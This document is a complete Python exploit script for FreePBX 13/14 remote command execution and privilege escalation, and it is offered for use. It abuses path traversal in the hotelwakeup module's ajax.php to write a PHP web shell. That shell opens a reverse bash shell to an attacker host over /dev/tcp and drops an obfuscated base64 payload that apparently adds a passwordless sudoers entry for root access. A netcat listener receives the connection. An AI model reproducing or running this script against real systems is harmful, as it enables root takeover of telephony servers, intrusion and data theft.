FreePBX 10.13.66 Remote Command Execution / Privilege Escalation

`#!/usr/bin/env python  
'''  
Title | FreePBX 13 Remote Command Execution and Privilege Escalation  
Date | 10/21/2016  
Author | Christopher Davis   
Vendor | https://www.freepbx.org/  
Version | FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)  
Tested on | http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso   
http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso  
Purpose | This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root  
Usage | python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r  
Orig Author | pgt - nullsecurity.net   
'''  
import re  
import subprocess  
import argparse  
import random  
import time  
import socket  
import threading  
  
#This portion will check for requests and prompt user to install it if not already  
try:  
import requests  
except:  
try:  
while True:  
choice = raw_input('Requests library not found but is needed. Install? \'Y\'es or \'N\'o?\n:')  
if choice.lower() == 'y':  
subprocess.call('pip install requests',shell=True)  
import requests  
break  
elif choice.lower() == 'n':  
exit()  
else:  
continue  
except Exception as e:  
print(e)  
exit()  
  
#Since subprocess.call will bind, we start this thread sepparate to execute after our netcat bind  
def delayGet():  
global args  
try:  
time.sleep(5)  
requests.get(args.url+ '0x4148.php.call', verify=False)  
except:  
pass  
  
if __name__ == '__main__':  
try:  
parser = argparse.ArgumentParser()  
parser.add_argument('-u', type=str, help='hostname and path. Ex- http://192.168.1.1/path/', dest='url')  
parser.add_argument('-l', type=str, help='localhost ip to listen on', dest='lhost')  
parser.add_argument('-p', type=str, help='port to listen on', dest='lport')  
parser.add_argument('-s', type=str, help="'L'ocal or 'R'oot shell attempt", dest='shell')  
parser.add_help  
args = parser.parse_args()  
  
#Make sure args were passed  
if args.url == None or args.lhost == None or args.lport == None or not bool(re.search(r'^(?:[L|l]|[r|R])$', args.shell)):  
parser.print_help()  
print("\nUsage: python freepbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444")  
exit()  
  
#Make sure the http url is there  
if bool(re.search('[hH][tT][tT][pP][sS]?\:\/\/', args.url)) == False:  
print('There is something wrong with your url. It needs to have http:// or https://\n\n')  
exit()  
  
#make sure / is there, if not, put it there  
if args.url[-1:] != '/':  
args.url += '/'  
#python -c 'import pty; pty.spawn("/bin/sh")'  
#this is the php we will upload to get a reverse shell. System call to perform reverse bash shell. Nohup spawns a new process in case php dies  
  
#if version 13, lets try to get root, otherwise  
if args.shell.upper() == 'R':  
cmdshell = '<?php fwrite(fopen("hackerWAShere.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRpbWUNCiMgLSotIGNvZGluZzogdXRmLTggLSotIA0KY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXA0KCSdOT1BBU1NXRFw6QUxMIlw+XD5cL2V0Y1wvc3Vkb2Vycy9nXCcgL3Zhci9saWIvJyBcDQoJJ2FzdGVyaXNrL2Jpbi9mcmVlcGJ4X2VuZ2luZScNCnN1YnByb2Nlc3MuY2FsbChjbWQsIHNoZWxsPVRydWUpDQpzdWJwcm9jZXNzLmNhbGwoJ2VjaG8gYSA+IC92YXIvc3Bvb2wvYXN0ZXJpc2svc3lzYWRtaW4vYW1wb3J0YWxfcmVzdGFydCcsIHNoZWxsPVRydWUpDQp0aW1lLnNsZWVwKDIwKQ==")); system("python hackerWAShere.py; nohup sudo bash -i >& /dev/tcp/'+args.lhost+'/'+args.lport+' 0>&1 ");?>'  
else:  
cmdshell = "<?php system('nohup bash -i >& /dev/tcp/"+args.lhost+"/"+args.lport+" 0>&1 ');?>"  
  
#creates a session  
session = requests.Session()  
print('\nStarting Session')  
session.get(args.url, verify=False)  
print('\nScraping the site for a cookie')  
HEADERS = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", "Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language":"en-US,en;q=0.5","Referer": args.url + 'admin/ajax.php', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'}  
print('\nPosting evil php')  
postData = {'module':'hotelwakeup','command':'savecall','day':'now','time':'+1 week','destination':"/../../../../../../var/www/html/0x4148.php","language":cmdshell}  
result = session.post(args.url + 'admin/ajax.php', headers=HEADERS, data=postData, verify=False)  
if 'Whoops' not in result.text:  
print(result.text)  
print('\nSomething Went wrong. Was expecting a Whoops but none found.')  
exit()  
#calls the get thread which will execute 5 seconds after the netcat bind  
  
print('\nStarting new thread for getting evil php')  
z = threading.Thread(target=delayGet)  
z.daemon = True  
z.start()  
  
print('\nBinding to socket '+ args.lport + ' Please wait... May take 30 secs to get call back.\n')  
#This binds our terminal with netcat and waits for the call back  
try:  
subprocess.call('nc -nvlp '+args.lport, shell=True)  
except Exception as e:  
print(e)  
print('\nIf you saw the message "sudo: no tty present and no askpass program specified", please try again and it may work.')  
except Exception as e:  
print(e)  
print('\nSee above error')  
  
  
`